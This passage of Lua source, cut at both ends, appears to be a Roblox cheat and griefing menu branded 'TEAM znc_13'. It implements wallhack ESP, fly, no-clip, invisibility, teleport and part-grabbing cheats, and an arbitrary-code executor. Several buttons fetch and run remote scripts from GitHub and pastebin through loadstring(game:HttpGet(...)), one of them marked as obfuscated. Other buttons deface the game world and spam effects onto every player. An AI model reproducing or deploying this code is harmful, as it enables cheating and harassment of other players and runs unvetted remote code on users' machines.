lbl.Size = UDim2.new(1,0,1,0)
lbl.TextColor3 = Color3.new(1,0,0)
lbl.TextScaled = true
lbl.Text = plr.Name
bb.Enabled = espOn
end
end
end
Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3)
end, "Visual", "ur cooked i just got wallhacks")
FunctionManager:register("JumpPowerSlider", function()
if screenGui:FindFirstChild("JumpPowerModal") then return end
Humanoid.UseJumpPower = true
local overlay = Instance.new("Frame")
overlay.Name = "JumpPowerModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "JumpPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minJ, maxJ = 50, 200
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minJ + (maxJ-minJ)*rel)
Humanoid.JumpPower = v
label.Text = "JumpPower: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your jumppower")
FunctionManager:register("Spin Bot", function()
spinOn = not spinOn
if spinOn then
if not HRP then return NotifyERROR("No HRP!") end
lockBP = Instance.new("BodyPosition")
lockBP.Name = "SpinLockBP"
lockBP.Position = HRP.Position
lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6)
lockBP.P = 1e5
lockBP.D = 0
lockBP.Parent = HRP
spinBAV = Instance.new("BodyAngularVelocity")
spinBAV.Name = "SpinBAV"
spinBAV.AngularVelocity = Vector3.new(0, 10000, 0)
spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6)
spinBAV.P = 1e5
spinBAV.Parent = HRP
NotifyERROR("Spin Bot On")
else
if spinBAV then
spinBAV:Destroy()
spinBAV = nil
end
if lockBP then
lockBP:Destroy()
lockBP = nil
end
NotifyERROR("Spin Bot Off")
end
end, "Visual", "Speeeeen")
FunctionManager:register("TP To Mouse", function()
if hit then
HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0))
warn("Teleported to mouse")
end
end, "Movement", "BUGGED")
FunctionManager:register("Save Position", function()
savedCFrame = HRP.CFrame
Notify("Position Saved", "SYSTEM", 3)
end, "Utility", "Checkpoint")
FunctionManager:register("Load Position", function()
if savedCFrame then
HRP.CFrame = savedCFrame
Notify("Position Loaded", "SYSTEM", 3)
else
NotifyERROR("No Position Saved")
end
end, "Utility", "Reload")
FunctionManager:register("No‑Clip", function()
noclipOn = not noclipOn
if noclipOn then
hoverHeight = HRP.Position.Y
while noclipOn == true do
task.wait(0.01)
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
local pos = HRP.Position
HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z)
end
Notify("No‑Clip ON (locked at height)", "SYSTEM", 3)
else
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
Notify("No‑Clip OFF", "SYSTEM", 3)
end
end, "Movement", "NOCLIP")
FunctionManager:register("DarkDex", function()
--Maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
end, "General", "Take a peek under the hood")
FunctionManager:register("SimpleSpy", function()
--also maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))()
end, "Catch remotes")
FunctionManager:register("Orbit All Nearby Parts", function()
local radius = 20
local height = 3
local orbitSpeed = 2
local speaker = Players.LocalPlayer
local character = speaker.Character or speaker.CharacterAdded:Wait()
local root = character:FindFirstChild("HumanoidRootPart")
if not root then
NotifyERROR("No HumanoidRootPart found.")
return
end
local origin = root.Position
local orbitParts = {}
for _, part in ipairs(workspace:GetDescendants()) do
if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then
local isInCharacter = false
for _, player in ipairs(Players:GetPlayers()) do
local char = player.Character
if char and part:IsDescendantOf(char) then
isInCharacter = true
break
end
end
if not isInCharacter and (part.Position - origin).Magnitude <= radius then
if not CollectionService:HasTag(part, "OrbitPart") then
if part:CanSetNetworkOwnership() then
part:SetNetworkOwner(speaker)
else
warn("Cannot set network owner for part:", part.Name)
end
part.CanCollide = false
CollectionService:AddTag(part, "OrbitPart")
table.insert(orbitParts, part)
end
end
end
end
if #orbitParts == 0 then
warn("No parts found for orbit.")
return
end
local angleOffset = 2 * math.pi / #orbitParts
for i, part in ipairs(orbitParts) do
local angle = angleOffset * i
local startPos = root.Position + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
part.Position = startPos
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5)
bodyGyro.P = 1e4
bodyGyro.CFrame = CFrame.new(part.Position, root.Position)
bodyGyro.Parent = part
local bodyVel = Instance.new("BodyVelocity")
bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5)
bodyVel.P = 1e4
bodyVel.Parent = part
local conn
conn = RunService.Heartbeat:Connect(function(dt)
if not root or not root.Parent then
conn:Disconnect()
return
end
angle += orbitSpeed * dt
local orbitCenter = root.Position
local orbitPoint = orbitCenter + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
local tangent = Vector3.new(
-math.sin(angle),
0,
math.cos(angle)
).Unit * orbitSpeed * radius
bodyVel.Velocity = tangent
bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter)
part.Position = orbitPoint
end)
end
warn("Orbiting", #orbitParts, "parts around you.")
end, "Fun", "You have to be near the parts for a while for it to work")
local function toggleInvisibility()
if invisRunning then return end
invisRunning = true
local player = Players.LocalPlayer
repeat task.wait(0.1) until player.Character
local originalChar = player.Character
originalChar.Archivable = true
local invisibleChar = originalChar:Clone()
invisibleChar.Name = ""
invisibleChar.Parent = Lighting
-- clone transparency
for _, part in ipairs(invisibleChar:GetDescendants()) do
if part:IsA("BasePart") then
part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5
end
end
-- we’ll need these in nested functions:
local isInvis = false
local voidConn, deathConn, steppedConn
-- Respawn helper (puts you back to originalChar)
local function Respawn()
invisRunning = false
if steppedConn then steppedConn:Disconnect() end
if deathConn then deathConn:Disconnect() end
player.Character = originalChar
originalChar.Parent = workspace
-- destroy the extra humanoid
local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid")
if clonedHum then clonedHum:Destroy() end
invisibleChar.Parent = nil
end
-- fix for falling through the void
local voidY = workspace.FallenPartsDestroyHeight
steppedConn = RunService.Stepped:Connect(function()
local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local y = hrp.Position.Y
if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then
Respawn()
end
end)
-- if cloned character dies
local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid")
deathConn = clonedHum.Died:Connect(Respawn)
-- now swap them
local camCF = workspace.CurrentCamera.CFrame
local hrpCF = originalChar.HumanoidRootPart.CFrame
originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0))
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
task.wait(0.2)
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
invisibleChar.Parent = workspace
invisibleChar.HumanoidRootPart.CFrame = hrpCF
player.Character = invisibleChar
-- re‑enable animations
for _, a in ipairs(player.Character:GetDescendants()) do
if a.Name == "Animate" and a:IsA("Model") then
a.Disabled = true; a.Disabled = false
end
end
workspace.CurrentCamera:remove()
wait(.1)
repeat wait() until player.Character ~= nil
workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
workspace.CurrentCamera.CameraType = "Custom"
player.CameraMinZoomDistance = 0.5
player.CameraMaxZoomDistance = 400
player.CameraMode = "Classic"
player.Character.Head.Anchored = false
player.Character.Animate.Enabled = false
player.Character.Animate.Enabled = true
Notify("You are now invisible!", "System", 3)
end
FunctionManager:register(
"Invisible",
toggleInvisibility,
"Fun",
"Make your character invisible until you respawn or die"
)
FunctionManager:register("Fly", function()
if not HRP then
warn("No HumanoidRootPart found; cannot fly.")
return
end
flyingEnabled = not flyingEnabled
if flyingEnabled then
flyBG = Instance.new("BodyGyro")
flyBG.P = 9e4
flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4)
flyBG.CFrame = HRP.CFrame
flyBG.Parent = HRP
flyBV = Instance.new("BodyVelocity")
flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4)
flyBV.Velocity = Vector3.new(0, 0, 0)
flyBV.Parent = HRP
flyConn = RunService.Heartbeat:Connect(function()
local camCFrame = workspace.CurrentCamera.CFrame
local dir = Vector3.new()
if UserInputService:IsKeyDown(Enum.KeyCode.W) then
dir = dir + camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.S) then
dir = dir - camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.A) then
dir = dir - camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.D) then
dir = dir + camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.Space) then
dir = dir + Vector3.new(0, 1, 0)
end
if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then
dir = dir - Vector3.new(0, 1, 0)
end
if dir.Magnitude > 0 then
dir = dir.Unit * 50
end
flyBV.Velocity = dir
flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector)
end)
else
if flyConn then flyConn:Disconnect() flyConn = nil end
if flyBG then flyBG:Destroy() flyBG = nil end
if flyBV then flyBV:Destroy() flyBV = nil end
end
end, "Movement", "Fly around!")
FunctionManager:register("HatHub", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))()
end, "Troll", "Credits to original maker!")
FunctionManager:register("Hitbox Extender", function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))()
end, "Troll", "Extends hitboxes")
FunctionManager:register("Part Grab", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))()
end, "Troll", "Much better part grab")
FunctionManager:register("Hat Script", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))()
end, "Troll", "HATS")
FunctionManager:register("PART ORBIT", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))()
end, "Troll", "Probs better orbit")
FunctionManager:register("chat unbanner", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))()
end, "Utility", "Credits to the original maker!")
FunctionManager:register("Fling GUI", function()
loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))()
end, "Troll", "Credits to the original maker!")
--init
updateGrid()
end)
end;
task.spawn(C_7);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_9()
local script = G2L["9"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
-- GUI principal
local gui = Instance.new("ScreenGui")
gui.Name = "CustomExecutor"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Ventana principal (más pequeña y semi-transparente)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 240)
mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BackgroundTransparency = 0.3
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
-- Título
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.BorderSizePixel = 0
title.Text = "TEAM znc_13 Fuks Roblox"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.SourceSansBold
title.Parent = mainFrame
-- Cuadro de texto (fondo negro, más pequeño)
local input = Instance.new("TextBox")
input.Size = UDim2.new(0.9, 0, 0.55, 0)
input.Position = UDim2.new(0.05, 0, 0.18, 0)
input.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
input.BackgroundTransparency = 0
input.BorderSizePixel = 0
input.TextColor3 = Color3.new(1, 1, 1)
input.Text = ""
input.Font = Enum.Font.Code
input.TextWrapped = true
input.TextXAlignment = Enum.TextXAlignment.Left
input.TextYAlignment = Enum.TextYAlignment.Top
input.TextSize = 16
input.ClearTextOnFocus = false
input.MultiLine = true
input.Parent = mainFrame
-- Crear botón
local function createButton(text, position)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 90, 0, 30)
btn.Position = position
btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btn.BackgroundTransparency = 0
btn.BorderSizePixel = 0
btn.Text = text
btn.TextColor3 = Color3.new(1, 1, 1)
btn.TextScaled = true
btn.Font = Enum.Font.SourceSansBold
btn.Parent = mainFrame
return btn
end
-- Botones
local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0))
local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0))
local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0))
-- Funciones
executeBtn.MouseButton1Click:Connect(function()
local code = input.Text
if code and code ~= "" then
pcall(function()
loadstring(code)()
end)
end
end)
r6Btn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local AvatarEditor = game:GetService("AvatarEditorService")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
if _G.AvatarRigPromptUI then return end
_G.AvatarRigPromptUI = true
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local RigUI = Instance.new("ScreenGui")
RigUI.Name = "AvatarRigPromptUI"
RigUI.ResetOnSpawn = false
RigUI.Parent = playerGui
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 200, 0, 100)
MainFrame.Position = UDim2.new(0.5, -100, 0, 20)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
MainFrame.Parent = RigUI
local UIStroke = Instance.new("UIStroke")
UIStroke.Thickness = 2
UIStroke.Color = Color3.fromRGB(100, 200, 255)
UIStroke.Parent = MainFrame
local dragActive, dragStart, frameStart
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = true
dragStart = input.Position
frameStart = MainFrame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(
frameStart.X.Scale,
frameStart.X.Offset + delta.X,
frameStart.Y.Scale,
frameStart.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = false
end
end)
local function ExecuteRigChange()
local char = player.Character
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local desc = humanoid.HumanoidDescription:Clone()
AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6)
local result = AvatarEditor.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
humanoid.Health = 0
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
player.CharacterAdded:Wait()
task.wait(1)
local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid")
if newHumanoid then
newHumanoid:ApplyDescription(desc)
newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6)
end
end
end
local R6Button = Instance.new("TextButton")
R6Button.Text = "R6 MODE"
R6Button.Size = UDim2.new(0.9, 0, 0.6, 0)
R6Button.Position = UDim2.new(0.05, 0, 0.2, 0)
R6Button.Font = Enum.Font.GothamBold
R6Button.TextColor3 = Color3.new(1,1,1)
R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200)
R6Button.Parent = MainFrame
R6Button.MouseButton1Click:Connect(function()
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play()
ExecuteRigChange()
task.wait(0.2)
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play()
end)
local CloseButton = Instance.new("TextButton")
CloseButton.Text = "X"
CloseButton.Size = UDim2.new(0, 24, 0, 24)
CloseButton.Position = UDim2.new(1, -26, 0, 2)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60)
CloseButton.BorderSizePixel = 0
CloseButton.Parent = MainFrame
CloseButton.MouseButton1Click:Connect(function()
RigUI:Destroy()
_G.AvatarRigPromptUI = nil
end)
end)
closeBtn.MouseButton1Click:Connect(function()
gui:Destroy()
end)
end)
end;
task.spawn(C_9);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_b()
local script = G2L["b"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.MouseButton1Down:Connect(function()
local function write(text,object)
if object:IsA("Hint") == true then
local count = object:FindFirstChild("Count")
if count == nil then
count = Instance.new("NumberValue")
count.Parent = object
count.Name = "Count"
count.Value = count.Value + 1
else
count.Value = count.Value + 1
end
local startcount = count.Value
for i = 1,#text do
if count.Value == startcount then
local letter = string.sub(text,i,i)
object.Text = string.sub(text,1,i)
wait(0.001)
else
break
end
end
end
end
local bro = Instance.new("Hint",workspace)
write("TEAM znc_13 JOIN TODAY!",bro)
end)
end)
end;
task.spawn(C_b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_d()
local script = G2L["d"];
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
s.SkyboxBk = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxDn = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxFt = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxLf = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxRt = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxUp = "http://www.roblox.com/asset/?id=103916363736246"
game.Lighting.TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_d);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_f()
local script = G2L["f"];
function click()
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=103916363736246" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Two.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Three.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Four.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Five.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Six.Texture = "http://www.roblox.com/asset/?id=103916363736246"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_11()
local script = G2L["11"];
---by 777 plz dont6 leak
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
end;
task.spawn(C_11);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_13()
local script = G2L["13"];
script.Parent.MouseButton1Down:Connect(function()
imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo 